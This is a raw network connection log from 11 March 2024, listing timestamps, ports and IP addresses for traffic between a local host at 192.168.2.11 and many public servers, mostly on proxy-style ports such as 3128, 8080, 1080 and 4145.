Mar 11, 2024 16:42:20.201309919 CET	51266	25517	192.168.2.11	194.31.79.75
Mar 11, 2024 16:42:20.202157974 CET	4145	50984	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:20.202169895 CET	4145	50984	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:20.202474117 CET	80	49977	50.172.75.125	192.168.2.11
Mar 11, 2024 16:42:20.202915907 CET	51267	8080	192.168.2.11	200.97.76.186
Mar 11, 2024 16:42:20.202939034 CET	80	51000	104.16.104.12	192.168.2.11
Mar 11, 2024 16:42:20.202992916 CET	80	51009	172.67.182.96	192.168.2.11
Mar 11, 2024 16:42:20.203082085 CET	8080	50902	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:20.203263998 CET	51268	36627	192.168.2.11	185.6.10.248
Mar 11, 2024 16:42:20.203346968 CET	80	51155	138.68.235.51	192.168.2.11
Mar 11, 2024 16:42:20.203408003 CET	51155	80	192.168.2.11	138.68.235.51
Mar 11, 2024 16:42:20.203470945 CET	51269	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:20.203809977 CET	51155	80	192.168.2.11	138.68.235.51
Mar 11, 2024 16:42:20.204116106 CET	50725	4153	192.168.2.11	46.28.72.75
Mar 11, 2024 16:42:20.204133987 CET	50733	34405	192.168.2.11	212.110.188.198
Mar 11, 2024 16:42:20.204153061 CET	50734	80	192.168.2.11	18.142.81.218
Mar 11, 2024 16:42:20.204153061 CET	50739	5678	192.168.2.11	36.66.133.19
Mar 11, 2024 16:42:20.204157114 CET	50262	3128	192.168.2.11	103.35.189.217
Mar 11, 2024 16:42:20.204159975 CET	49984	1080	192.168.2.11	202.142.167.210
Mar 11, 2024 16:42:20.204176903 CET	50128	55066	192.168.2.11	167.86.115.103
Mar 11, 2024 16:42:20.204176903 CET	50737	8080	192.168.2.11	203.150.172.151
Mar 11, 2024 16:42:20.204176903 CET	50754	62952	192.168.2.11	104.248.158.78
Mar 11, 2024 16:42:20.204176903 CET	50758	8089	192.168.2.11	118.117.190.148
Mar 11, 2024 16:42:20.204179049 CET	50730	19770	192.168.2.11	207.244.255.174
Mar 11, 2024 16:42:20.204179049 CET	50768	7497	192.168.2.11	187.191.53.155
Mar 11, 2024 16:42:20.204180956 CET	50767	8080	192.168.2.11	45.150.25.132
Mar 11, 2024 16:42:20.204181910 CET	50742	4228	192.168.2.11	5.161.219.13
Mar 11, 2024 16:42:20.204183102 CET	50759	7117	192.168.2.11	135.181.102.118
Mar 11, 2024 16:42:20.204209089 CET	50769	4153	192.168.2.11	177.131.29.211
Mar 11, 2024 16:42:20.204209089 CET	50774	56581	192.168.2.11	159.223.71.71
Mar 11, 2024 16:42:20.204214096 CET	50777	3629	192.168.2.11	190.3.72.38
Mar 11, 2024 16:42:20.204214096 CET	50780	5678	192.168.2.11	93.182.76.244
Mar 11, 2024 16:42:20.204215050 CET	50772	4850	192.168.2.11	192.169.226.96
Mar 11, 2024 16:42:20.204215050 CET	50762	64556	192.168.2.11	213.136.79.177
Mar 11, 2024 16:42:20.204214096 CET	50779	8083	192.168.2.11	103.84.177.28
Mar 11, 2024 16:42:20.204215050 CET	50776	55636	192.168.2.11	1.179.148.9
Mar 11, 2024 16:42:20.204215050 CET	50782	8080	192.168.2.11	103.172.42.121
Mar 11, 2024 16:42:20.204417944 CET	80	51029	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:20.204471111 CET	51029	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:20.204577923 CET	51270	3128	192.168.2.11	79.110.52.252
Mar 11, 2024 16:42:20.204690933 CET	4145	50983	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:20.204699993 CET	51029	80	192.168.2.11	43.231.22.229
Mar 11, 2024 16:42:20.204835892 CET	4145	50983	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:20.204927921 CET	51271	61564	192.168.2.11	212.83.137.165
Mar 11, 2024 16:42:20.205760002 CET	8080	50902	91.148.127.162	192.168.2.11
Mar 11, 2024 16:42:20.206095934 CET	80	50457	43.231.22.229	192.168.2.11
Mar 11, 2024 16:42:20.206379890 CET	51272	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:20.207335949 CET	51273	8080	192.168.2.11	91.148.127.162
Mar 11, 2024 16:42:20.207535982 CET	51274	47370	192.168.2.11	70.126.33.226
Mar 11, 2024 16:42:20.207880974 CET	51275	3128	192.168.2.11	37.120.140.158
Mar 11, 2024 16:42:20.208165884 CET	51276	80	192.168.2.11	91.151.90.9
Mar 11, 2024 16:42:20.208225965 CET	80	50480	3.127.62.252	192.168.2.11
Mar 11, 2024 16:42:20.208661079 CET	51278	62578	192.168.2.11	107.180.88.41
Mar 11, 2024 16:42:20.208941936 CET	51279	59098	192.168.2.11	159.223.71.71
Mar 11, 2024 16:42:20.209243059 CET	51280	999	192.168.2.11	45.225.204.8
Mar 11, 2024 16:42:20.209495068 CET	51277	1080	192.168.2.11	103.105.79.69
Mar 11, 2024 16:42:20.209569931 CET	50480	80	192.168.2.11	3.127.62.252
Mar 11, 2024 16:42:20.210484028 CET	51281	999	192.168.2.11	201.77.110.1
Mar 11, 2024 16:42:20.210863113 CET	80	51174	104.19.247.62	192.168.2.11
Mar 11, 2024 16:42:20.210939884 CET	51174	80	192.168.2.11	104.19.247.62
Mar 11, 2024 16:42:20.211425066 CET	51174	80	192.168.2.11	104.19.247.62
Mar 11, 2024 16:42:20.211832047 CET	51282	3128	192.168.2.11	45.10.42.20
Mar 11, 2024 16:42:20.212107897 CET	51283	3128	192.168.2.11	85.193.93.73
Mar 11, 2024 16:42:20.212579012 CET	51284	999	192.168.2.11	190.89.37.73
Mar 11, 2024 16:42:20.212744951 CET	4145	50989	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:20.212798119 CET	4145	50989	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:20.213171005 CET	3128	51105	130.162.213.175	192.168.2.11
Mar 11, 2024 16:42:20.213224888 CET	51105	3128	192.168.2.11	130.162.213.175
Mar 11, 2024 16:42:20.214112043 CET	51105	3128	192.168.2.11	130.162.213.175
Mar 11, 2024 16:42:20.214225054 CET	51285	8080	192.168.2.11	38.159.232.6
Mar 11, 2024 16:42:20.214777946 CET	4145	50221	199.102.106.94	192.168.2.11
Mar 11, 2024 16:42:20.214783907 CET	51286	8080	192.168.2.11	81.12.119.171
Mar 11, 2024 16:42:20.215111017 CET	51287	55552	192.168.2.11	64.90.51.168
Mar 11, 2024 16:42:20.215251923 CET	51288	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:20.215854883 CET	51289	9090	192.168.2.11	168.181.81.225
Mar 11, 2024 16:42:20.216181993 CET	3128	51050	37.156.146.163	192.168.2.11
Mar 11, 2024 16:42:20.216185093 CET	51290	4145	192.168.2.11	103.35.108.145
Mar 11, 2024 16:42:20.216242075 CET	51050	3128	192.168.2.11	37.156.146.163
Mar 11, 2024 16:42:20.216512918 CET	51050	3128	192.168.2.11	37.156.146.163
Mar 11, 2024 16:42:20.216655970 CET	51291	51372	192.168.2.11	213.226.16.46
Mar 11, 2024 16:42:20.216950893 CET	51292	1981	192.168.2.11	41.65.55.2
Mar 11, 2024 16:42:20.217807055 CET	51293	80	192.168.2.11	162.223.116.75
Mar 11, 2024 16:42:20.218175888 CET	51294	8089	192.168.2.11	123.182.59.208
Mar 11, 2024 16:42:20.218782902 CET	51295	8080	192.168.2.11	206.42.27.113
Mar 11, 2024 16:42:20.219490051 CET	4153	50546	45.226.0.2	192.168.2.11
Mar 11, 2024 16:42:20.219495058 CET	80	49775	50.239.72.18	192.168.2.11
Mar 11, 2024 16:42:20.219676971 CET	80	51109	121.128.194.154	192.168.2.11
Mar 11, 2024 16:42:20.219768047 CET	50763	37976	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:20.219791889 CET	50361	8080	192.168.2.11	5.78.89.192
Mar 11, 2024 16:42:20.219791889 CET	49817	26315	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:20.219791889 CET	49897	45248	192.168.2.11	166.62.121.127
Mar 11, 2024 16:42:20.219794035 CET	50788	1976	192.168.2.11	41.65.236.56
Mar 11, 2024 16:42:20.219798088 CET	50059	5678	192.168.2.11	202.165.47.49
Mar 11, 2024 16:42:20.219798088 CET	50764	6005	192.168.2.11	45.11.95.166
Mar 11, 2024 16:42:20.219798088 CET	50859	8080	192.168.2.11	46.105.35.193
Mar 11, 2024 16:42:20.219798088 CET	50040	8089	192.168.2.11	111.225.152.42
Mar 11, 2024 16:42:20.219798088 CET	50787	8282	192.168.2.11	193.138.178.6
Mar 11, 2024 16:42:20.219831944 CET	50156	80	192.168.2.11	50.170.90.28
Mar 11, 2024 16:42:20.219846010 CET	50789	80	192.168.2.11	119.81.71.27
Mar 11, 2024 16:42:20.219846964 CET	51109	80	192.168.2.11	121.128.194.154
Mar 11, 2024 16:42:20.219847918 CET	50792	17228	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:20.219847918 CET	50804	1080	192.168.2.11	103.47.93.194
Mar 11, 2024 16:42:20.219850063 CET	50791	28513	192.168.2.11	213.136.78.200
Mar 11, 2024 16:42:20.219850063 CET	50797	8595	192.168.2.11	132.148.128.88
Mar 11, 2024 16:42:20.219850063 CET	50786	3629	192.168.2.11	190.3.72.39
Mar 11, 2024 16:42:20.219851971 CET	50783	8080	192.168.2.11	180.191.254.130
Mar 11, 2024 16:42:20.219857931 CET	50785	83	192.168.2.11	103.183.63.14
Mar 11, 2024 16:42:20.220077038 CET	51296	3128	192.168.2.11	59.153.158.19
Mar 11, 2024 16:42:20.220266104 CET	80	50770	50.168.163.180	192.168.2.11
Mar 11, 2024 16:42:20.220367908 CET	3128	50438	59.15.28.76	192.168.2.11
Mar 11, 2024 16:42:20.220427990 CET	50438	3128	192.168.2.11	59.15.28.76
Mar 11, 2024 16:42:20.220468998 CET	51109	80	192.168.2.11	121.128.194.154
Mar 11, 2024 16:42:20.220588923 CET	51298	46695	192.168.2.11	66.228.35.209
Mar 11, 2024 16:42:20.220680952 CET	51297	2512	192.168.2.11	154.16.116.166
Mar 11, 2024 16:42:20.220702887 CET	50438	3128	192.168.2.11	59.15.28.76
Mar 11, 2024 16:42:20.220818996 CET	9375	49717	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:20.221581936 CET	51299	9367	192.168.2.11	50.63.12.33
Mar 11, 2024 16:42:20.222656965 CET	51300	80	192.168.2.11	104.16.105.198
Mar 11, 2024 16:42:20.223311901 CET	51301	59045	192.168.2.11	164.92.237.188
Mar 11, 2024 16:42:20.223459959 CET	4145	50781	168.205.217.37	192.168.2.11
Mar 11, 2024 16:42:20.224802971 CET	3128	51118	13.37.59.99	192.168.2.11
Mar 11, 2024 16:42:20.224864960 CET	51118	3128	192.168.2.11	13.37.59.99
Mar 11, 2024 16:42:20.224916935 CET	51302	80	192.168.2.11	190.58.248.86
Mar 11, 2024 16:42:20.225511074 CET	51118	3128	192.168.2.11	13.37.59.99
Mar 11, 2024 16:42:20.225914001 CET	4145	50405	168.205.217.13	192.168.2.11
Mar 11, 2024 16:42:20.226232052 CET	51303	999	192.168.2.11	38.50.165.55
Mar 11, 2024 16:42:20.226435900 CET	17893	50104	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:20.226492882 CET	51304	8080	192.168.2.11	103.189.96.98
Mar 11, 2024 16:42:20.226511002 CET	7853	50098	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:20.226567030 CET	50796	33572	192.168.2.11	162.214.121.173
Mar 11, 2024 16:42:20.226841927 CET	51305	4145	192.168.2.11	110.78.151.165
Mar 11, 2024 16:42:20.226841927 CET	50798	1372	192.168.2.11	159.223.166.21
Mar 11, 2024 16:42:20.226975918 CET	51306	999	192.168.2.11	181.78.11.217
Mar 11, 2024 16:42:20.227479935 CET	51307	8080	192.168.2.11	190.220.228.147
Mar 11, 2024 16:42:20.228015900 CET	51308	3128	192.168.2.11	62.33.207.202
Mar 11, 2024 16:42:20.228882074 CET	51309	27360	192.168.2.11	72.195.34.35
Mar 11, 2024 16:42:20.229398966 CET	51310	4009	192.168.2.11	45.61.187.67
Mar 11, 2024 16:42:20.229428053 CET	9050	51117	211.194.214.128	192.168.2.11
Mar 11, 2024 16:42:20.229464054 CET	51311	80	192.168.2.11	172.67.181.147
Mar 11, 2024 16:42:20.231924057 CET	80	49947	50.170.90.24	192.168.2.11
Mar 11, 2024 16:42:20.232660055 CET	51313	3389	192.168.2.11	119.91.214.119
Mar 11, 2024 16:42:20.232880116 CET	51312	3128	192.168.2.11	38.54.101.254
Mar 11, 2024 16:42:20.233314037 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:20.233330011 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:20.233393908 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:20.233393908 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:20.233655930 CET	51314	10403	192.168.2.11	149.28.240.100
Mar 11, 2024 16:42:20.234036922 CET	51315	8080	192.168.2.11	103.106.216.161
Mar 11, 2024 16:42:20.234482050 CET	51316	80	192.168.2.11	104.17.132.79
Mar 11, 2024 16:42:20.234565973 CET	80	51104	154.208.10.126	192.168.2.11
Mar 11, 2024 16:42:20.234580994 CET	80	51104	154.208.10.126	192.168.2.11
Mar 11, 2024 16:42:20.234765053 CET	80	51104	154.208.10.126	192.168.2.11
Mar 11, 2024 16:42:20.234808922 CET	51104	80	192.168.2.11	154.208.10.126
Mar 11, 2024 16:42:20.234817028 CET	3128	51131	134.209.29.120	192.168.2.11
Mar 11, 2024 16:42:20.234839916 CET	51104	80	192.168.2.11	154.208.10.126
Mar 11, 2024 16:42:20.234994888 CET	3128	51099	91.189.177.188	192.168.2.11
Mar 11, 2024 16:42:20.235059977 CET	51099	3128	192.168.2.11	91.189.177.188
Mar 11, 2024 16:42:20.235343933 CET	50944	3230	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:20.235363960 CET	50602	3128	192.168.2.11	185.191.236.162
Mar 11, 2024 16:42:20.235367060 CET	50712	8083	192.168.2.11	103.84.177.27
Mar 11, 2024 16:42:20.235380888 CET	50369	60200	192.168.2.11	162.241.137.197
Mar 11, 2024 16:42:20.235383034 CET	50793	999	192.168.2.11	38.7.4.89
Mar 11, 2024 16:42:20.235383034 CET	50799	8080	192.168.2.11	37.120.192.154
Mar 11, 2024 16:42:20.235416889 CET	50803	5678	192.168.2.11	79.7.101.98
Mar 11, 2024 16:42:20.235419035 CET	50801	13276	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:20.235419035 CET	50856	1080	192.168.2.11	188.255.245.205
Mar 11, 2024 16:42:20.235419035 CET	50815	8080	192.168.2.11	125.26.183.79
Mar 11, 2024 16:42:20.235426903 CET	50812	2233	192.168.2.11	104.131.77.66
Mar 11, 2024 16:42:20.235426903 CET	50814	8181	192.168.2.11	103.152.232.99
Mar 11, 2024 16:42:20.235428095 CET	50819	80	192.168.2.11	188.40.44.95
Mar 11, 2024 16:42:20.235989094 CET	51099	3128	192.168.2.11	91.189.177.188
Mar 11, 2024 16:42:20.236243010 CET	51317	63452	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:20.236917019 CET	51318	8080	192.168.2.11	14.232.235.13
Mar 11, 2024 16:42:20.237095118 CET	40351	49752	51.222.241.157	192.168.2.11
Mar 11, 2024 16:42:20.237227917 CET	51319	18003	192.168.2.11	67.43.228.250
Mar 11, 2024 16:42:20.237901926 CET	5678	50517	101.95.182.26	192.168.2.11
Mar 11, 2024 16:42:20.238548040 CET	51320	8085	192.168.2.11	191.102.254.9
Mar 11, 2024 16:42:20.238811970 CET	51321	9002	192.168.2.11	58.20.248.139
Mar 11, 2024 16:42:20.239273071 CET	51322	62543	192.168.2.11	172.93.111.235
Mar 11, 2024 16:42:20.240156889 CET	8080	50818	177.229.210.50	192.168.2.11
Mar 11, 2024 16:42:20.240263939 CET	51323	80	192.168.2.11	104.16.106.234
Mar 11, 2024 16:42:20.240310907 CET	51324	62289	192.168.2.11	161.97.173.42
Mar 11, 2024 16:42:20.241247892 CET	51325	80	192.168.2.11	5.78.65.91
Mar 11, 2024 16:42:20.241481066 CET	41274	50167	162.241.158.204	192.168.2.11
Mar 11, 2024 16:42:20.241493940 CET	3128	50623	155.185.15.56	192.168.2.11
Mar 11, 2024 16:42:20.241830111 CET	24279	50115	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:20.241888046 CET	18129	50826	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:20.241949081 CET	51326	83	192.168.2.11	103.159.47.34
Mar 11, 2024 16:42:20.241986036 CET	30951	49753	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:20.242182970 CET	51327	3128	192.168.2.11	144.91.118.176
Mar 11, 2024 16:42:20.243304968 CET	51328	1111	192.168.2.11	103.165.155.171
Mar 11, 2024 16:42:20.243733883 CET	51329	8080	192.168.2.11	31.146.5.178
Mar 11, 2024 16:42:20.244816065 CET	51330	8080	192.168.2.11	125.212.231.220
Mar 11, 2024 16:42:20.245795965 CET	51331	443	192.168.2.11	43.153.174.197
Mar 11, 2024 16:42:20.245819092 CET	443	51331	43.153.174.197	192.168.2.11
Mar 11, 2024 16:42:20.245996952 CET	51331	443	192.168.2.11	43.153.174.197
Mar 11, 2024 16:42:20.246860027 CET	51331	443	192.168.2.11	43.153.174.197
Mar 11, 2024 16:42:20.246875048 CET	443	51331	43.153.174.197	192.168.2.11
Mar 11, 2024 16:42:20.246954918 CET	443	51331	43.153.174.197	192.168.2.11
Mar 11, 2024 16:42:20.247108936 CET	80	51126	104.16.224.33	192.168.2.11
Mar 11, 2024 16:42:20.247208118 CET	80	51126	104.16.224.33	192.168.2.11
Mar 11, 2024 16:42:20.247221947 CET	15673	49934	43.131.245.216	192.168.2.11
Mar 11, 2024 16:42:20.247884035 CET	80	51022	45.12.30.231	192.168.2.11
Mar 11, 2024 16:42:20.248234987 CET	51126	80	192.168.2.11	104.16.224.33
Mar 11, 2024 16:42:20.248636007 CET	51332	8080	192.168.2.11	188.132.222.3
Mar 11, 2024 16:42:20.249284983 CET	51333	80	192.168.2.11	185.212.60.62
Mar 11, 2024 16:42:20.249349117 CET	80	51126	104.16.224.33	192.168.2.11
Mar 11, 2024 16:42:20.249393940 CET	9002	50813	39.165.0.137	192.168.2.11
Mar 11, 2024 16:42:20.249406099 CET	9002	50813	39.165.0.137	192.168.2.11
Mar 11, 2024 16:42:20.249408007 CET	51126	80	192.168.2.11	104.16.224.33
Mar 11, 2024 16:42:20.249440908 CET	9002	50813	39.165.0.137	192.168.2.11
Mar 11, 2024 16:42:20.249471903 CET	50813	9002	192.168.2.11	39.165.0.137
Mar 11, 2024 16:42:20.249484062 CET	10003	50836	147.75.34.86	192.168.2.11
Mar 11, 2024 16:42:20.249917984 CET	50813	9002	192.168.2.11	39.165.0.137
Mar 11, 2024 16:42:20.250740051 CET	51334	80	192.168.2.11	172.67.36.21
Mar 11, 2024 16:42:20.251013994 CET	50204	42331	192.168.2.11	206.189.9.30
Mar 11, 2024 16:42:20.251013994 CET	50225	5096	192.168.2.11	165.154.227.154
Mar 11, 2024 16:42:20.251024961 CET	50810	80	192.168.2.11	149.102.130.120
Mar 11, 2024 16:42:20.251024961 CET	50245	5678	192.168.2.11	191.97.2.198
Mar 11, 2024 16:42:20.251038074 CET	49827	9039	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:20.251085043 CET	50816	34227	192.168.2.11	162.214.102.195
Mar 11, 2024 16:42:20.251086950 CET	50821	4985	192.168.2.11	82.223.121.72
Mar 11, 2024 16:42:20.252099037 CET	3129	49835	20.204.212.76	192.168.2.11
Mar 11, 2024 16:42:20.252403021 CET	47354	50753	67.213.212.49	192.168.2.11
Mar 11, 2024 16:42:20.253185034 CET	51335	999	192.168.2.11	45.234.60.3
Mar 11, 2024 16:42:20.254160881 CET	51336	8080	192.168.2.11	178.115.230.243
Mar 11, 2024 16:42:20.254693985 CET	4145	50537	184.181.217.206	192.168.2.11
Mar 11, 2024 16:42:20.254705906 CET	51337	13916	192.168.2.11	67.213.212.47
Mar 11, 2024 16:42:20.254893064 CET	51338	999	192.168.2.11	38.7.4.90
Mar 11, 2024 16:42:20.255336046 CET	51339	80	192.168.2.11	20.127.163.26
Mar 11, 2024 16:42:20.255371094 CET	51340	8123	192.168.2.11	20.210.113.32
Mar 11, 2024 16:42:20.255765915 CET	51341	5678	192.168.2.11	202.144.134.150
Mar 11, 2024 16:42:20.256553888 CET	51342	8715	192.168.2.11	103.154.144.202
Mar 11, 2024 16:42:20.256704092 CET	51343	3128	192.168.2.11	3.21.101.158
Mar 11, 2024 16:42:20.256720066 CET	29477	51156	67.43.236.21	192.168.2.11
Mar 11, 2024 16:42:20.257235050 CET	1431	50121	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.257404089 CET	10363	50124	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:20.257498026 CET	51344	80	192.168.2.11	14.143.130.210
Mar 11, 2024 16:42:20.257874966 CET	51345	16075	192.168.2.11	159.89.194.121
Mar 11, 2024 16:42:20.258995056 CET	51346	38080	192.168.2.11	31.44.82.2
Mar 11, 2024 16:42:20.259458065 CET	51347	17464	192.168.2.11	66.228.33.190
Mar 11, 2024 16:42:20.259598970 CET	80	50685	50.174.214.222	192.168.2.11
Mar 11, 2024 16:42:20.259938955 CET	51348	8082	192.168.2.11	122.54.147.110
Mar 11, 2024 16:42:20.260510921 CET	18080	50578	54.178.159.199	192.168.2.11
Mar 11, 2024 16:42:20.260807037 CET	51349	4145	192.168.2.11	184.170.248.5
Mar 11, 2024 16:42:20.260865927 CET	50578	18080	192.168.2.11	54.178.159.199
Mar 11, 2024 16:42:20.261109114 CET	50578	18080	192.168.2.11	54.178.159.199
Mar 11, 2024 16:42:20.261218071 CET	1080	51160	165.227.112.138	192.168.2.11
Mar 11, 2024 16:42:20.261370897 CET	51350	53281	192.168.2.11	88.119.139.237
Mar 11, 2024 16:42:20.262490034 CET	51351	80	192.168.2.11	120.78.191.68
Mar 11, 2024 16:42:20.262696028 CET	51352	80	192.168.2.11	104.20.89.77
Mar 11, 2024 16:42:20.263618946 CET	51353	8080	192.168.2.11	190.109.168.217
Mar 11, 2024 16:42:20.263758898 CET	51354	3128	192.168.2.11	103.90.227.244
Mar 11, 2024 16:42:20.264091015 CET	1080	50911	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:20.264158010 CET	50911	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:20.264255047 CET	50911	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:20.264971972 CET	51355	53012	192.168.2.11	91.134.140.160
Mar 11, 2024 16:42:20.264983892 CET	51356	1080	192.168.2.11	202.162.219.10
Mar 11, 2024 16:42:20.265274048 CET	1080	50911	202.162.219.10	192.168.2.11
Mar 11, 2024 16:42:20.265849113 CET	9002	50253	222.138.76.6	192.168.2.11
Mar 11, 2024 16:42:20.266238928 CET	1080	50573	140.250.150.56	192.168.2.11
Mar 11, 2024 16:42:20.266628981 CET	49834	80	192.168.2.11	50.172.218.160
Mar 11, 2024 16:42:20.266637087 CET	50875	4145	192.168.2.11	177.125.206.40
Mar 11, 2024 16:42:20.266769886 CET	50867	4145	192.168.2.11	82.137.244.59
Mar 11, 2024 16:42:20.267297983 CET	9125	50645	178.253.201.11	192.168.2.11
Mar 11, 2024 16:42:20.272959948 CET	3129	49800	115.248.66.131	192.168.2.11
Mar 11, 2024 16:42:20.280097961 CET	4145	50914	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:20.280483007 CET	4145	50914	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:20.282299042 CET	50822	8089	192.168.2.11	111.225.153.135
Mar 11, 2024 16:42:20.282299042 CET	50051	3129	192.168.2.11	20.219.177.85
Mar 11, 2024 16:42:20.282315969 CET	50460	8888	192.168.2.11	23.94.123.243
Mar 11, 2024 16:42:20.282315969 CET	50823	38586	192.168.2.11	160.153.245.187
Mar 11, 2024 16:42:20.282318115 CET	50419	24543	192.168.2.11	209.159.153.19
Mar 11, 2024 16:42:20.282329082 CET	50878	8000	192.168.2.11	128.199.184.169
Mar 11, 2024 16:42:20.282377005 CET	50248	80	192.168.2.11	50.217.226.44
Mar 11, 2024 16:42:20.282399893 CET	50824	999	192.168.2.11	38.56.23.33
Mar 11, 2024 16:42:20.283792019 CET	80	49797	50.239.72.19	192.168.2.11
Mar 11, 2024 16:42:20.284322977 CET	21777	50158	51.222.84.118	192.168.2.11
Mar 11, 2024 16:42:20.284343004 CET	59268	50155	67.213.212.50	192.168.2.11
Mar 11, 2024 16:42:20.286184072 CET	50041	16379	192.168.2.11	51.15.142.4
Mar 11, 2024 16:42:20.286510944 CET	9090	50760	91.241.217.58	192.168.2.11
Mar 11, 2024 16:42:20.289272070 CET	4495	49768	67.43.228.252	192.168.2.11
Mar 11, 2024 16:42:20.290205956 CET	15291	51159	184.178.172.25	192.168.2.11
Mar 11, 2024 16:42:20.290220976 CET	4145	51167	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:20.290278912 CET	51159	15291	192.168.2.11	184.178.172.25
Mar 11, 2024 16:42:20.290316105 CET	51167	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:20.291683912 CET	3128	50569	3.212.148.199	192.168.2.11
Mar 11, 2024 16:42:20.291775942 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:20.291816950 CET	80	51052	185.162.229.70	192.168.2.11
Mar 11, 2024 16:42:20.291831017 CET	3128	50593	120.24.52.179	192.168.2.11
Mar 11, 2024 16:42:20.291941881 CET	3128	50873	5.189.158.162	192.168.2.11
Mar 11, 2024 16:42:20.293346882 CET	80	50943	39.108.227.108	192.168.2.11
Mar 11, 2024 16:42:20.295068026 CET	15673	51187	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:20.295079947 CET	80	50943	39.108.227.108	192.168.2.11
Mar 11, 2024 16:42:20.295150042 CET	50943	80	192.168.2.11	39.108.227.108
Mar 11, 2024 16:42:20.295166016 CET	51187	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:20.297346115 CET	80	51139	162.159.242.10	192.168.2.11
Mar 11, 2024 16:42:20.297534943 CET	80	51139	162.159.242.10	192.168.2.11
Mar 11, 2024 16:42:20.297842979 CET	50833	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:20.297903061 CET	50928	22645	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:20.297905922 CET	50638	42624	192.168.2.11	162.214.164.200
Mar 11, 2024 16:42:20.297936916 CET	50899	80	192.168.2.11	50.174.145.12
Mar 11, 2024 16:42:20.297949076 CET	49779	80	192.168.2.11	50.174.145.9
Mar 11, 2024 16:42:20.297949076 CET	50242	80	192.168.2.11	141.147.33.121
Mar 11, 2024 16:42:20.297955990 CET	80	51139	162.159.242.10	192.168.2.11
Mar 11, 2024 16:42:20.297975063 CET	49735	33590	192.168.2.11	85.120.30.66
Mar 11, 2024 16:42:20.298027039 CET	51139	80	192.168.2.11	162.159.242.10
Mar 11, 2024 16:42:20.300023079 CET	8888	51073	66.45.246.194	192.168.2.11
Mar 11, 2024 16:42:20.300190926 CET	51073	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:20.300492048 CET	8888	51073	66.45.246.194	192.168.2.11
Mar 11, 2024 16:42:20.300770044 CET	50873	3128	192.168.2.11	5.189.158.162
Mar 11, 2024 16:42:20.300827980 CET	51139	80	192.168.2.11	162.159.242.10
Mar 11, 2024 16:42:20.300990105 CET	50943	80	192.168.2.11	39.108.227.108
Mar 11, 2024 16:42:20.302073002 CET	4145	51168	184.181.217.194	192.168.2.11
Mar 11, 2024 16:42:20.302175045 CET	51168	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:20.302222967 CET	51187	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:20.302489042 CET	51167	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:20.302540064 CET	51159	15291	192.168.2.11	184.178.172.25
Mar 11, 2024 16:42:20.302704096 CET	51168	4145	192.168.2.11	184.181.217.194
Mar 11, 2024 16:42:20.304311037 CET	51357	41442	192.168.2.11	162.241.46.6
Mar 11, 2024 16:42:20.304533005 CET	51358	16379	192.168.2.11	51.158.79.76
Mar 11, 2024 16:42:20.304621935 CET	8080	50721	51.68.220.201	192.168.2.11
Mar 11, 2024 16:42:20.304733038 CET	51359	1080	192.168.2.11	103.47.93.219
Mar 11, 2024 16:42:20.305095911 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:20.305428982 CET	9990	50160	117.160.250.163	192.168.2.11
Mar 11, 2024 16:42:20.305500984 CET	37355	49993	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:20.305838108 CET	3128	51116	138.68.60.8	192.168.2.11
Mar 11, 2024 16:42:20.305850983 CET	13477	50175	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.307706118 CET	51073	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:20.307926893 CET	80	51048	162.159.246.135	192.168.2.11
Mar 11, 2024 16:42:20.308197021 CET	51360	8888	192.168.2.11	66.45.246.194
Mar 11, 2024 16:42:20.308361053 CET	51361	999	192.168.2.11	201.77.108.130
Mar 11, 2024 16:42:20.309828997 CET	51362	8080	192.168.2.11	79.122.230.20
Mar 11, 2024 16:42:20.310026884 CET	80	50302	50.231.104.58	192.168.2.11
Mar 11, 2024 16:42:20.310506105 CET	51363	16379	192.168.2.11	51.15.223.24
